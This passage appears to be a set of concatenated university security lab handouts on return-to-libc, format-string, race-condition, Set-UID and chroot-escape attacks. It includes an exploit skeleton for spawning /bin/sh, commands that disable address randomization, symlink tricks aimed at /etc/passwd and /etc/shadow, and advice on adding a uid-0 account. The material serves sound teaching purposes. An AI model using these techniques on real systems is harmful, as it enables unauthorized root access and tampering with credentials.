        three statements does not imply the order of W, X, Y, Z. */
    *(long *) &buf[W] = some address ;  // system()
    *(long *) &buf[X] = some address ;  // address of "/bin/sh"
    *(long *) &buf[Y] = some address ;  // setuid()
    *(long *) &buf[Z] = 0;                // parameter for setuid

    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}

2.5 Task 3: Address Randomization and Stack Smash Protection

Now, we turn on the Ubuntu’s address randomization and Stack Smash Protection. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization and stack smash protection make your attacks difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

Compile the vulnerable program retlib.c as shown below:

$ su root
Password (enter root password)
# gcc -o retlib retlib.c
# chmod 4755 retlib
# exit

3 Guidelines: Understanding the function call mechanism

3.1 Find out the addresses of libc functions

To find out the address of any libc function, you can use the following gdb commands (a.out is an arbitrary program):

$ gdb a.out
(gdb) b main
(gdb) r
(gdb) p system
$p1 = {<text variable, no debug info>} 0x9b4550 <system>
(gdb) p exit
$p2 = {<text variable, no debug info>} 0x9a9b70 <exit>

From the above gdb commands, we can find out that the address for the system() function is 0x9b4550, and the address for the exit() function is 0x9a9b70. The actual addresses in your system might be different from these numbers.

3.2 Putting the shell string in the memory

One of the challenges in this lab is to put the string "/bin/sh" into the memory, and get its address. This can be achieved using environment variables. When a C program is executed, it inherits all the environment variables from the shell that executes it. The environment variable SHELL points directly to /bin/bash and is needed by other programs, so we introduce a new shell variable MYSHELL and make it point to zsh

$ export MYSHELL=/bin/sh

We will use the address of this variable as an argument to system() call. The location of this variable in the memory can be found out easily using the following program:

```c
void main()
{
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```
If the address randomization is turned off, you will find out that the same address is printed out. However, when you run the vulnerable program `retlib`, the address of the environment variable might not be exactly the same as the one that you get by running the above program; such an address can even change when you change the name of your program (the number of characters in the file name makes difference). The good news is, the address of the shell will be quite close to what you print out using the above program. Therefore, you might need to try a few times to succeed.

### 3.3 Understand the Stack

To know how to conduct the return-to-libc attack, it is essential to understand how the stack works. We use a small C program to understand the effects of a function invocation on the stack.

```c
/* foobar.c */
#include<stdio.h>
void foo(int x)
{
    printf("Hello world: %d\n", x);
}

int main()
{
    foo(1);
    return 0;
}
```

We can use "gcc -S foobar.c" to compile this program to the assembly code. The resulting file `foobar.s` will look like the following:

```assembly
......
8 foo:
 9    pushl  %ebp
10   movl  %esp, %ebp
11   subl  $8, %esp
12   movl  8(%ebp), %eax
13   movl  %eax, 4(%esp)
14   movl  $.LC0, (%esp) : string "Hello world: %d\n"
15   call  printf
16   leave
17   ret
......
21 main:
22   leal  4(%esp), %ecx
23   andl  $-16, %esp
24   pushl  -4(%ecx)
25   pushl  %ebp
26   movl  %esp, %ebp
27   pushl  %ecx
28   subl  $4, %esp
29   movl  $1, (%esp)
```

3.4 Calling and Entering $foo()$

Let us concentrate on the stack while calling $foo()$. We can ignore the stack before that. Please note that line numbers instead of instruction addresses are used in this explanation.

- **Line 28-29**: These two statements push the value 1, i.e. the argument to the $foo()$, into the stack. This operation increments $%esp$ by four. The stack after these two statements is depicted in Figure 1(a).

- **Line 30**: call $foo$: The statement pushes the address of the next instruction that immediately follows the call statement into the stack (i.e. the return address), and then jumps to the code of $foo()$. The current stack is depicted in Figure 1(b).

- **Line 9-10**: The first line of the function $foo()$ pushes $%ebp$ into the stack, to save the previous frame pointer. The second line lets $%ebp$ point to the current frame. The current stack is depicted in Figure 1(c).

- **Line 11**: subl $%8$, $%esp$: The stack pointer is modified to allocate space (8 bytes) for local
variables and the two arguments passed to printf. Since there is no local variable in function foo, the 8 bytes are for arguments only. See Figure 1(d).

3.5 Leaving foo()

Now the control has passed to the function foo(). Let us see what happens to the stack when the function returns.

- **Line 16: leave**: This instruction implicitly performs two instructions (it was a macro in earlier x86 releases, but was made into an instruction later):

  ```
  mov %ebp, %esp
  pop %ebp
  ```

  The first statement release the stack space allocated for the function; the second statement recover the previous frame pointer. The current stack is depicted in Figure 1(e).

- **Line 17: ret**: This instruction simply pops the return address out of the stack, and then jump to the return address. The current stack is depicted in Figure 1(f).

- **Line 32: addl $4, %esp**: Further resotre the stack by releasing more memories allocated for foo. As you can clearly see that the stack is now in exactly the same state as it was before entering the function foo (i.e., before line 28).

References

[1] c0ntext Bypassing non-executable-stack during exploitation using return-to-libc

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on format-string vulnerability by putting what they have learned about the vulnerability from class into actions. The format-string vulnerability is caused by code like `printf(user_input)`, where the contents of variable of `user_input` is provided by users. When this program is running with privileges (e.g., Set-UID program), this `printf` statement becomes dangerous, because it can lead to one of the following consequences: (1) crash the program, (2) read from an arbitrary memory place, and (3) modify the values of in an arbitrary memory place. The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program, and thus change the behavior of the program.

In this lab, students will be given a program with a format-string vulnerability; their task is to develop a scheme to exploit the vulnerability. In addition to the attacks, students will be guided to walk through a protection scheme that can be used to defeat this type of attacks. Students need to evaluate whether the scheme work or not and explain why.

It should be noted that the outcome of this lab is operating system dependent. Our description and discussion are based on Ubuntu Linux. It should also work in the most recent version of Ubuntu. However, if you use different operating systems, different problems and issues might come up.

2 Lab Tasks

2.1 Task 1: Exploit the vulnerability

In the following program, you will be asked to provide an input, which will be saved in a buffer called `user_input`. The program then prints out the buffer using `printf`. The program is a Set-UID program (the owner is root), i.e., it runs with the root privilege. Unfortunately, there is a format-string vulnerability in the way how the `printf` is called on the user inputs. We want to exploit this vulnerability and see how much damage we can achieve.

The program has two secret values stored in its memory, and you are interested in these secret values. However, the secret values are unknown to you, nor can you find them from reading the binary code (for the sake of simplicity, we hardcode the secrets using constants 0x44 and 0x55). Although you do not know the secret values, in practice, it is not so difficult to find out the memory address (the range or the exact value) of them (they are in consecutive addresses), because for many operating systems, the addresses are exactly the same anytime you run the program. In this lab, we just assume that you have already known the exact addresses. To achieve this, the program “intentionally” prints out the addresses for you. With such knowledge, your goal is to achieve the followings (not necessarily at the same time):

- Crash the program
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

Note that the binary code of the program (Set-UID) is only readable/executable by you, and there is no way you can modify the code. Namely, you need to achieve the above objectives without modifying the vulnerable code. However, you do have a copy of the source code, which can help you design your attacks.

/* vul_prog.c */
#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[]) {
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/
    
    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));

    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;

    printf("The variable secret’s address is 0x%8x (on stack)\n", &secret);
    printf("The variable secret’s value is 0x%8x (on heap)\n", secret);
    printf("secret[0]’s address is 0x%8x (on heap)\n", &secret[0]);
    printf("secret[1]’s address is 0x%8x (on heap)\n", &secret[1]);

    printf("Please enter a decimal integer\n");
    scanf("%d", &int_input); /* getting an input from user */
    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}

28
Hints: From the printout, you will find out that secret[0] and secret[1] are located on the heap, i.e., the actual secrets are stored on the heap. We also know that the address of the first secret (i.e., the value of the variable secret) can be found on the stack, because the variable secret is allocated on the stack. In other words, if you want to overwrite secret[0], its address is already on the stack; your format string can take advantage of this information. However, although secret[1] is just right after secret[0], its address is not available on the stack. This poses a major challenge for your format-string exploit, which needs to have the exact address right on the stack in order to read or write to that address.

2.2 Task 2: Memory randomization

If the first scanf statement (scanf(\"%d\", int\_input)) does not exist, i.e., the program does not ask you to enter an integer, the attack in Task 1 become more difficult for those operating systems that have implemented address randomization. Pay attention to the address of secret[0] (or secret[1]). When you run the program once again, will you get the same address?

Address randomization is introduced to make a number of attacks difficult, such as buffer overflow, format string, etc. To appreciate the idea of address randomization, we will turn off the address randomization in this task, and see whether the format string attack on the previous vulnerable program (without the first scanf statement) is still difficult. You can use the following command to turn off the address randomization (note that you need to run it as root):

```
  sysctl -w kernel.randomize_va_space=0
```

After turning off the address randomization, your task is to repeat the same task described in Task 1, but you have to remove the first scanf statement (scanf(\"%d\", int\_input)) from the vulnerable program.

How to let scanf accept an arbitrary number? Usually, scanf is going to pause for you to type inputs. Sometimes, you want the program to take a number 0x05 (not the character ’5’). Unfortunately, when you type ’5’ at the input, scanf actually takes in the ASCII value of ’5’, which is 0x35, rather than 0x05. The challenge is that in ASCII, 0x05 is not a typable character, so there is no way we can type in this value. One way to solve this problem is to use a file. We can easily write a C program that stores 0x05 (again, not ’5’) to a file (let us call it mystring), then we can run the vulnerable program (let us call it a.out) with its input being redirected to mystring; namely, we run a.out < mystring. This way, scanf will take its input from the file mystring, instead of from the keyboard.

You need to pay attention to some special numbers, such as 0x0A (newline), 0x0C (form feed), 0x0D (return), and 0x20 (space). scanf considers them as separator, and will stop reading anything after these special characters if we have only one “%s” in scanf. If one of these special numbers are in the address, you have to find ways to get around this. To simplify your task, if you are unlucky and the secret’s address happen to have those special numbers in it, we allow you to add another malloc statement before you allocate memory for secret[2]. This extra malloc can cause the address of secret values to change. If you give the malloc an appropriate value, you can create a “lucky” situation, where the addresses of secret do not contain those special numbers.

The following program writes a format string into a file called mystring. The first four bytes consist of an arbitrary number that you want to put in this format string, followed by the rest of format string that you typed in from your keyboard.

```c
/* write_string.c */
```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;

    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x22080;

    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);

    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}

3 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising.
1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on the race-condition vulnerability by putting what they have learned about the vulnerability from class into actions. A race condition occurs when multiple processes access and manipulate the same data concurrently, and the outcome of the execution depends on the particular order in which the access takes place. If a privileged program has a race-condition vulnerability, attackers can run a parallel process to “race” against the privileged program, with an intention to change the behaviors of the program.

In this lab, students will be given a program with a race-condition vulnerability; their task is to develop a scheme to exploit the vulnerability and gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that can be used to counter the race-condition attacks. Students need to evaluate whether the schemes work or not and explain why.

2 Lab Tasks

2.1 A Vulnerable Program

The following program is a seemingly harmless program. It contains a race-condition vulnerability.

```c
/* vulp.c */

#include <stdio.h>
#include<unistd.h>
#define DELAY 10000

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    long int  i;

    /* get user input */
    scanf("%50s", buffer );
    if(!access(fn, W_OK)){
        /* simulating delay */
```
for (i=0; i < DELAY; i++){
    int a = i^2;
}

fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
else printf("No permission \n");
}

This is part of a Set-UID program (owned by root); it appends a string of user input to the end of a temporary file /tmp/XYZ. Since the code runs with the root privilege, it carefully checks whether the real user actually has the access permission to the file /tmp/XYZ; that is the purpose of the access() call. Once the program has made sure that the real user indeed has the right, the program opens the file and writes the user input into the file.

It appears that the program does not have any problem at the first look. However, there is a race condition vulnerability in this program: due to the window (the simulated delay) between the check (access) and the use (fopen), there is a possibility that the file used by access is different from the file used by fopen, even though they have the same file name /tmp/XYZ. If a malicious attacker can somehow make /tmp/XYZ a symbolic link pointing to /etc/shadow, the attacker can cause the user input to be appended to /etc/shadow (note that the program runs with the root privilege, and can therefore overwrite any file).

2.2 Task 1: Exploit the Race Condition Vulnerabilities

You need to exploit the race condition vulnerability in the above Set-UID program. More specifically, you need to achieve the followings:

1. Overwrite any file that belongs to root.

2. Gain root privileges; namely, you should be able to do anything that root can do.

2.3 Task 2: Protection Mechanism A: Repeating

Getting rid of race conditions is not easy, because the check-and-use pattern is often necessary in programs. Instead of removing race conditions, we can actually add more race conditions, such that to compromise the security of the program, attackers need to win all these race conditions. If these race conditions are designed properly, we can exponentially reduce the winning probability for attackers. The basic idea is to repeat access() and open() for several times; at each time, we open the file, and at the end, we check whether the same file is opened by checking their i-nodes (they should be the same).

Please use this strategy to modify the vulnerable program, and repeat your attack. Report how difficult it is to succeed, if you can still succeed.

2.4 Task 3: Protection Mechanism B: Principle of Least Privilege

The fundamental problem of the vulnerable program in this lab is the violation of the Principle of Least Privilege. The programmer does understand that the user who runs the program might be too powerful, so
he/she introduced \texttt{access()} to limit the user’s power. However, this is not the proper approach. A better approach is to apply the \textit{Principle of Least Privilege}; namely, if users do not need certain privilege, the privilege needs to be disabled.

We can use \texttt{seteuid} system call to temporarily disable the root privilege, and later enable it if necessary. Please use this approach to fix the vulnerability in the program, and then repeat your attack. Will you be able to succeed? Please report your observations and explanation.

3 Guidelines

3.1 Two Potential Targets

There are possibly many ways to exploit the race condition vulnerability in \texttt{vulp.c}. One way is to use the vulnerability to append some information to both \texttt{/etc/passwd} and \texttt{/etc/shadow}. These two files are used by Unix operating systems to authenticate users. If attackers can add information to these two files, they essentially have the power to create new users, including super-users (by letting \texttt{uid} to be zero).

The \texttt{/etc/passwd} file is the authentication database for a Unix machine. It contains basic user attributes. This is an ASCII file that contains an entry for each user. Each entry defines the basic attributes applied to a user. When you use the \texttt{mkuser} command to add a user to your system, the command updates the \texttt{/etc/passwd} file.

The file \texttt{/etc/passwd} has to be world readable, because many application programs need to access user attributes, such as user-names, home directories, etc. Saving an encrypted password in that file would mean that anyone with access to the machine could use password cracking programs (such as \texttt{crack}) to break into the accounts of others. To fix this problem, the shadow password system was created. The \texttt{/etc/passwd} file in the shadow system is world-readable but does not contain the encrypted passwords. Another file, \texttt{/etc/shadow}, which is readable only by root contains the passwords.

To find out what strings to add to these two files, run \texttt{mkuser}, and see what are added to these files. For example, the followings are what have been added to these files after creating a new user called \texttt{smith}:

\begin{verbatim}
/etc/passwd:
-------------
smith:x:1000:1000:Joe Smith,,,:/home/smith:/bin/bash

/etc/shadow:
-------------
smith:*1*Srdssdsdi*M4sdabPasdsdsdasdsdasdY/:13450:0:99999:7:::
\end{verbatim}

The third column in the file \texttt{/etc/passwd} denotes the UID of the user. Because \texttt{smith} account is a regular user account, its value 1000 is nothing special. If we change this entry to 0, \texttt{smith} now becomes root.

3.2 Creating symbolic links

You can manually create symbolic links using "\texttt{ln \(-s\)}". You can also call C function \texttt{symlink} to create symbolic links in your program. Since Linux does not allow one to create a link if the link already exists, we need to delete the old link first. The following C code snippet shows how to remove a link and then make \texttt{/tmp/XYZ} point to \texttt{/etc/passwd}:
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

3.3 Improving success rate

The most critical step (i.e., pointing the link to our target file) of a race-condition attack must occur within
the window between check and use; namely between the access and the fopen calls in vulp.c. Since
we cannot modify the vulnerable program, the only thing that we can do is to run our attacking program in
parallel with the target program, hoping that the change of the link does occur within that critical window.
Unfortunately, we cannot achieve the perfect timing. Therefore, the success of attack is probabilistic. The
probability of successful attack might be quite low if the window are small. You need to think about how
to increase the probability (Hints: you can run the vulnerable program for many times; you only need to
achieve success once among all these trials).

Since you need to run the attacks and the vulnerable program for many times, you need to write a
program to automate the attack process. To avoid manually typing an input to vulp, you can use redirection.
Namely, you type your input in a file, and then redirect this file when you run vulp. For example, you can
use the following: vulp < FILE.

In the program vulp.c, we intentionally added a DELAY parameter in the program. This is intended
to make your attack easier. Once you have succeeded in your attacks, gradually reduce the value for DELAY.
When DELAY becomes zero, how much longer does it take you to succeed?

3.4 Knowing whether the attack is successful

Since the user does not have the read permission for accessing /etc/shadow, there is no way of knowing
if it was modified. The only way that is possible is to see its time stamps. Also it would be better if we stop
the attack once the entries are added to the respective files. The following shell script checks if the time
stamps of /etc/shadow has been changed. It prints a message once the change is noticed.

#!/bin/sh

old=`ls -l /etc/shadow`
new=`ls -l /etc/shadow`
while [ "$old" = "$new" ]
do
    new=`ls -l /etc/shadow`
done
echo "STOP... The shadow file has been changed"

3.5 Troubleshooting

While testing the program, due to untimely killing of the attack program, /tmp/XYZ may get into an
unstable state. When this happens the OS automatically makes it a normal file with root as its owner. If this
happens, the file has to be deleted and the attack has to be restarted.

3.6 Warning

In the past, some students accidentally emptied the /etc/shadow file during the attacks (we still do not
know what has caused that). If you lose the shadow file, you will not be able to login again. To avoid this
trouble, please make a copy of the original shadow file.
Set-UID Program Vulnerability Lab

Lab Description

Set-UID is an important security mechanism in Unix operating systems. When a Set-UID program is run, it assumes the owner’s privileges. For example, if the program’s owner is root, then when anyone runs this program, the program gains the root’s privileges during its execution. Set-UID allows us to do many interesting things, but unfortunately, it is also the culprit of many bad things. Therefore, the objective of this lab is two-fold: (1) Appreciate its good side: understand why Set-UID is needed and how it is implemented. (2) Be aware of its bad side: understand its potential security problems.

Lab Tasks

This is an exploration lab. Your main task is to ”play” with the Set-UID mechanism in Linux, and write a lab report to describe your discoveries. You are required to accomplish the following tasks in Linux:

1. (20 points) Figure out why ”passwd”, ”chsh”, ”su”, and ”sudo” commands need to be Set-UID programs. What will happen if they are not? If you are not familiar with these programs, you should first learn what they can do by reading their manuals. Please copy these commands to your own directory; the copies will not be Set-UID programs. Run the copied programs, and observe what happens.

2. (20 points) Run Set-UID shell programs in Linux, and describe and explain your observations.

   (a) Login as root, copy /bin/zsh to /tmp, and make it a set-root-uid program with permission 4755. Then login as a normal user, and run /tmp/zsh. Will you get root privilege? Please describe your observation. If you cannot find /bin/zsh in your operating system, please use the following command to install it:

   - Note: in our pre-built Ubuntu VM image, zsh is already installed.
   - For Fedora
     $ su
     Password: (enter root password)
     # yum install zsh
   - For Ubuntu
     $ su
     Password: (enter root password)
     # apt-get install zsh
(b) Instead of copying `/bin/zsh`, this time, copy `/bin/bash` to `/tmp`, make it a set-root-uid program. Run `/tmp/bash` as a normal user. Will you get root privilege? Please describe and explain your observation.

3. (Setup for the rest of the tasks) As you can find out from the previous task, `/bin/bash` has certain built-in protection that prevent the abuse of the Set-UID mechanism. To see the life before such a protection scheme was implemented, we are going to use a different shell program called `/bin/zsh`. In some Linux distributions (such as Fedora and Ubuntu), `/bin/sh` is actually a symbolic link to `/bin/bash`. To use zsh, we need to link `/bin/sh` to `/bin/zsh`. The following instructions describe how to change the default shell to zsh.

```sh
$ su
  Password: (enter root password)
# cd /bin
# rm sh
# ln -s zsh sh
```

4. (15 points) The PATH environment variable.
The `system(const char *cmd)` library function can be used to execute a command within a program. The way `system(cmd)` works is to invoke the `/bin/sh` program, and then let the shell program to execute `cmd`. Because of the shell program invoked, calling `system()` within a Set-UID program is extremely dangerous. This is because the actual behavior of the shell program can be affected by environment variables, such as `PATH`; these environment variables are under user’s control. By changing these variables, malicious users can control the behavior of the Set-UID program.

The Set-UID program below is supposed to execute the `/bin/ls` command; however, the programmer only uses the relative path for the `ls` command, rather than the absolute path:

```c
int main()
{
    system("ls");
    return 0;
}
```

(a) Can you let this Set-UID program (owned by root) run your code instead of `/bin/ls`? If you can, is your code running with the root privilege? Describe and explain your observations.

(b) Now, change `/bin/sh` so it points back to `/bin/bash`, and repeat the above attack. Can you still get the root privilege? Describe and explain your observations.

5. (15 points) The difference between `system()` and `execve()`. Before you work on this task, please make sure that `/bin/sh` is pointed to `/bin/zsh`.

**Background:** Bob works for an auditing agency, and he needs to investigate a company for a suspected fraud. For the investigation purpose, Bob needs to be able to read all the files in the company’s Unix system; on the other hand, to protect the integrity of the system, Bob should not be able to modify any file. To achieve this goal, Vince, the superuser of the system, wrote a special set-root-uid program (see below), and then gave the executable permission to Bob. This program requires Bob to type a file name at the command line, and then it will run `/bin/cat` to display the specified file.
Since the program is running as a root, it can display any file Bob specifies. However, since the program has no write operations, Vince is very sure that Bob cannot use this special program to modify any file.

```c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    char *v[3];

    if(argc < 2) {
        printf("Please type a file name.\n");
        return 1;
    }

    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;

    /* Set q = 0 for Question a, and q = 1 for Question b */
    int q = 0;
    if (q == 0){
        char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
        sprintf(command, "%s %s", v[0], v[1]);
        system(command);
    } else execve(v[0], v, 0);

    return 0 ;
}
```

(a) Set $q = 0$ in the program. This way, the program will use `system()` to invoke the command. Is this program safe? If you were Bob, can you compromise the integrity of the system? For example, can you remove any file that is not writable to you? (Hint: remember that `system()` actually invokes `/bin/sh`, and then runs the command within the shell environment. We have tried the environment variable in the previous task; here let us try a different attack. Please pay attention to the special characters used in a normal shell environment).

(b) Set $q = 1$ in the program. This way, the program will use `execve()` to invoke the command. Do your attacks in task (a) still work? Please describe and explain your observations.

6. (15 points) **The LD_PRELOAD environment variable.**

To make sure Set-UID programs are safe from the manipulation of the LD_PRELOAD environment variable, the runtime linker (ld.so) will ignore this environment variable if the program is a Set-UID root program, except for some conditions. We will figure out what these conditions are in this task.

(a) Let us build a dynamic link library. Create the following program, and name it `mylib.c`. It basically overrides the `sleep()` function in `libc`:
#include <stdio.h>
void sleep (int s)
{
    printf("I am not sleeping!\n");
}

(b) We can compile the above program using the following commands (in the -W1 argument, the third character is one, not ℓ; in the -lc argument, the second character is ℓ):

```bash
% gcc -fPIC -g -c mylib.c
% gcc -shared -W1,-soname,libmylib.so.1 \
    -o libmylib.so.1.0.1 mylib.o -lc
```

(c) Now, set the LD_PRELOAD environment variable:

```bash
% export LD_PRELOAD=./libmylib.so.1.0.1
```

(d) Finally, compile the following program myprog (put this program in the same directory as libmylib.so.1.0.1):

```c
/* myprog.c */
int main()
{
    sleep(1);
    return 0;
}
```

Please run myprog under the following conditions, and observe what happens. Based on your observations, tell us when the runtime linker will ignore the LD_PRELOAD environment variable, and explain why.

- Make myprog a regular program, and run it as a normal user.
- Make myprog a Set-UID root program, and run it as a normal user.
- Make myprog a Set-UID root program, and run it in the root account.
- Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), and run it as a different user (not-root user).

7. (15 points) Relinquishing privileges and cleanup.
To be more secure, Set-UID programs usually call setuid() system call to permanently relinquish their root privileges. However, sometimes, this is not enough. Compile the following program, and make the program a set-root-uid program. Run it in a normal user account, and describe what you have observed. Will the file /etc/zzz be modified? Please explain your observation.

```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
```


```c
#include <fcntl.h>

void main()
{
    int fd;

    /* Assume that /etc/zzz is an important system file, 
       and it is owned by root with permission 0644 */
    fd = open("/etc/zzz", O_RDWR | O_APPEND);

    /* Simulate the tasks conducted by the program */
    sleep(1);

    /* After the task, the root privileges are no longer needed, 
       it’s time to relinquish the root privileges permanently. */
    setuid(getuid()); /* getuid() returns the real uid */

    if (fork()) { /* In the parent process */
        close (fd);
        exit(0);
    } else { /* in the child process */
        /* Now, assume that the child process is compromised, malicious 
           attackers have injected the following statements 
           into this process */

        write (fd, "Malicious Data", 14);
        close (fd);
    }
}
```

**Submission**

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising.
Chroot Sandbox Vulnerability Lab

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1 Lab Overview

The learning objective of this lab is for students to substantiate an essential security engineering principle, the compartmentalization principle, by studying and evaluating the chroot mechanism implemented in Unix operating systems. The basic idea of compartmentalization is to minimize the amount of damage that can be done to a system by breaking up the system into as few units as possible while still isolating code that has security privileges. This same principle explains why submarines are built with many different chambers, each separately sealed. This principle is also illustrated by the Sandbox mechanism in computer systems.

Sandbox can provide a restricted environment for us to run programs that are not completely trustworthy. For example, if the program is downloaded from an untrusted source, running the program in an unrestricted environment can expose the system to potential risks. If these programs can be executed in a restricted environment, even if the programs behave maliciously (the programs might contain malicious contents or they might be compromised by attackers during the execution), their damage is confined within the restricted environment. Almost all the Unix systems have a simple built-in sandbox mechanism, called chroot.

In this lab, students need to figure out how chroot works, why it works, and why it should only be used by root. Moreover, students will see the vulnerabilities of this type of sandbox.

2 Lab Tasks

The chroot command in Unix redefines the meaning of the root directory. We can use this command to change the root directory of the current process to any directory. For example, if we chroot to /tmp in a process, the root ("/") in the current process becomes /tmp. If the process tries to access a file named /etc/xyz, it will in fact access the file /tmp/etc/xyz. The meaning of root is inheritable; namely, all the children of the current process will have the same root as the parent process. Using chroot, we can confine a program to a specific directory, so any damage a process can cause is confined to that directory. In other words, chroot creates an environment in which the actions of an untrusted process are restricted, and such restriction protects the system from untrusted programs.

A process can call chroot() system call to set its root directory to a specified directory. For security reasons, chroot() can only be called by the super-user; otherwise, normal users can gain the super-user privilege if they can call chroot(). A command called chroot is also implemented in most Unix systems. If we run "chroot newroot prog", the system will run the prog using newroot as its root directory. For the same reason, the chroot command can only be executed by the super-user (i.e., the effective user id has to be super-user).

The following is what you are expected to do in this lab:

1. Understanding how chroot works: Assume that we use /tmp as the root of a jail. Please develop experiment to answer the following questions:
(a) **Symbolic link:** if there is a symbolic link under \(/	ext{tmp}\), and this symbolic link points to a file outside of \(/	ext{tmp}\); can one follow this symbolic link to get out of the \(/	ext{tmp}\) jail?

(b) **Hard link:** what if the link is a hard link, rather than a symbolic link?

(c) **File descriptors:** before entering the \(/	ext{tmp}\) jail, a super-user (or set-root-uid) process has already opened a file \(/	ext{etc/}shadow\). Can this process still be able to access this file after entering the jail?

(d) **Comparing the chroot command and the chroot() system call:** there are two ways to run a program in a jail. One way is to use the chroot command; the other is to modify the program to call chroot() system call directly. What are the difference between this two methods?

**Note:** Once you are inside a jail, you cannot see any file outside of the jail. Therefore, you need to copy a number of commands and libraries into the jail first; otherwise, there is not much you can do.

```bash
% mkdir /tmp/bin
% cp /bin/ls /tmp/bin
% cp /bin/bash /tmp/bin
% cp -r /lib /tmp
```

2. **Abusing unconstrained chroot:** Assume that the root wants to allow normal users to use the chroot command. The root can do this by turning the chroot command into a Set-UID program. Please implement an attack to demonstrate how a normal can gain the root privilege using this unconstrained chroot.

(a) Can you run a set-root-uid program inside a jail? To run a set-root-uid program, we need to make the program available within the prison (i.e., the \(/	ext{tmp}\) directory). Unfortunately, copying a root-owned Set-UID program by a normal user does not preserve the root privilege of the program. For these programs, you need to use hard links. For example, we can run "ln \(/bin/su /tmp/su\)" to make a hard link to the \(/bin/su\) program from \(/tmp\). Hard links preserve the ownership and the Set-UID property of the file.

**Important Note:** The \(/bin/su\) command in our provided Ubuntu VM image does not work from the prison (we still have not figured out why). We use another version of su. The su program can be found in the package called coreutils. We have linked this package (coreutils-7.6) in the web page. Please download that, compile it, and copy it to the \(/bin\) directory. Please follow the following commands:

```bash
% tar xzvf coreutils-7.6.tar.gz
% cd coreutils-7.6
% ./configure
% make         # compile all
% cd src       # su is in this directory
% sudo cp ./su /bin/mysu     # we rename it to mysu
% sudo chown root /bin/mysu  # make root the owner
% sudo chmod 4755 /bin/mysu   # turn on the setuid bit
```
After running the above command, you will have a new version of `su` called `mysu` in the `/bin` directory. To be able to access this program from the prison, you need to first make a hard link from the `/tmp` directory:

```
$ ln /bin/mysu /tmp/su
```

(b) Now, can you use `/tmp/su` to become root? Think about how the `su` program authenticate users (hint: what files does `su` use when authenticating users?)

(c) Having a root shell inside a jail can only do limited damage. It is difficult, if possible, to apply the root privileges on objects that are outside of the jail. To achieve a greater damage, you would like to maintain the root privilege after you get out of that jail. Unfortunately, to get out, the process running within the jail has to exit first, and the root privileges of that process will be lost. Can you regain the root privileges after you get out of the jail? You might have to do something within the jail before you let go the root privileges.

3. **Breaking out of a chroot jail:** Some server programs are usually executed with root privileges. To contain the damage in case the server programs are compromised, these programs are put in a sandbox, such as the `chroot` jail. Assume that an attacker has already compromised a server program, and can cause the server program to run (with root privilege) any arbitrary code. Can the attacker damage anything outside of the sandbox? Please demonstrate your attacks. You do not need to demonstrate how you compromise a server program. Just emulate that by writing a program with embedded malicious code, and then run this program as a root in the `chroot` jail. Then demonstrate the damage that you can achieve with this malicious code. You can put anything you want in the malicious code. You should try your attacks on Linux. If you have an access to Minix, please also try your attacks on Minix (whether attacks on Minix are required is at the discretion of your instructor).

(a) Using "cd .." to get out of the jail (your malicious code should still maintain the root privilege after getting out).

- **Hint 1:** Remember how Linux prevents a process from using `cd ..` to get out of prison. If a process is at the root of a prison `/tmp`, directly using `cd ..` will not go to the real root, because the system knows that the current directory is the root of the prison, so it will not go beyond that. In the operating system, the process data structure has an entry that records the i-node of the root directory (e.g. in Minix, this entry is named `fp_rootdir`, we will use `fp_rootdir` to refer to this root entry in the rest of the discussion). Each process has its own root directory. If a process is running in a prison `/tmp`, the root entry will be the i-node of the directory `/tmp`.

- **Hint 2:** Remember that if your current directory is not the same as `fp_rootdir`, you can always conduct `cd ..` However, you do want to do `cd ..` at the root (the prison’s root) directory to get out of the prison. The question is whether you can create a scenario where the following three conditions are all true simultaneously: (1) your current directory is `/tmp`, (2) your prison is rooted at `/tmp`, but (3) `fp_rootdir` is not `/tmp`. If you remember how and when `fp_rootdir` is updated, you might be able to create the above scenario. Note `chdir()` and `fchdir()` calls might be useful.

